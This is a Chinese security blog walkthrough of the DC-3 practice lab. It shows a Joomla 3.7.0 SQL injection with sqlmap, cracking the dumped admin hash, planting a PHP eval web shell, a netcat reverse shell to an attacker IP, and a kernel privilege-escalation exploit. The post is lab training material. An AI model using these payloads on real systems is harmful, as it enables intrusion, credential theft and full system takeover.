freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DC系列靶机丨DC3
小白学安全 2023-01-20 20:07:35 150798
所属地 四川省

信息收集

确定目标主机IP地址-二层发现技术

netdiscover -i eth0 -r 192.168.84.0/24

image-20221215091208822

扫描IP开放端口

masscan 192.168.84.178 --rate=10000 --ports 0-65535

image-20221215091428710

使用浏览器访问80端口

image-20221215091631959

通过插件获取到相关信息

image-20221215091741977

该网站由joomlaCMS搭建

利用joomscan工具进行扫描

joomscan -h

image-20221215091937759

扫描该网站

joomscan -u http://192.168.84.178/

image-20221215092237913

获取到相关版本号和路径

查找是否有历史漏洞

searchsploit Joomla 3.7.0
searchsploit -m 42033.txt   // m 为下载到当前路径

image-20221215092613823

查看42033.txt

image-20221215092754118

得到payload

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

只需将localhost替换为目标地址即可

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

web测试

sqlmap

库名

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 

image-20221215093108603

表名

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb --tables

image-20221215093217068

字段名

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns

image-20221215093541736

获取username、password字段数据

sqlmap -u "http://192.168.84.178/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" -C username,password --dump

image-20221215093621602

使用john 对password进行解密

image-20221215094143643

得到user的账户名与密码为admin、snoopy

网站后台进行登录

image-20221215094235944

存在网站模板

image-20221215094718439

可以新建文件 - new file

在html目录下新建shell.php文件

image-20221215095146997

写入内容

<?php eval($_REQUEST[1])?>

点击save进行保存

目录泄露

image-20221215095650854

访问shell.php 并传参

image-20221215095726679

蚁剑连接

http://192.168.84.178/templates/beez3/html/shell.php?1=phpinfo();

image-20221215114936892

提权

提权分为系统提权和应用提权

本次用的是系统提权

查看当前系统发行版本

cat /etc/*release

image-20221215133559532

搜索历史漏洞

searchsploit ubuntu 16.04

image-20221215162333373

searchsploit -m 39772

将对应的文档下载到当前目录

cat 39772.txt

image-20221215162510733

点击连接进行下载

image-20221215162421529

写入反弹shell

将shell.php中的一句话木马修改为反弹shell的木马

image-20221215162748589

<?php 
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.84.174 10086 >/tmp/f');
?>

本地开启监听端口

nc -lvnp 10086

浏览器访问shell.php文件

http://192.168.84.179/templates/beez3/html/shell.php

image-20221215162947048

靶机传送文件

由于在同一网络环境下, 开启http服务,用于传输文件

image-20221215163053102

image-20221215163101275

靶机中用wget进行下载文件

image-20221215163141685

解压文件

unzip 33992.zip

image-20221215163239961

进入39772目录,解压exploit文件

image-20221215163355348

进入ebpf_mapfd_doubleput_exploit目标,编译运行

image-20221215163539468

拿到最终的flag

image-20221215163604116

关注WX公众号:小白学安全,公众号内回复DC,即可获取DC系列靶机镜像!

# 渗透测试 # web安全 # 提权 # 漏洞分析 # 漏洞复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 小白学安全 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小白学安全 LV.4
微信公众号关注【小白学安全】 一一一一 xbxaq.com
  • 9 文章数
  • 5 关注者
DC系列靶机丨DC9
2023-01-26
DC系列靶机丨DC8
2023-01-26
DC系列靶机丨DC7
2023-01-26
文章目录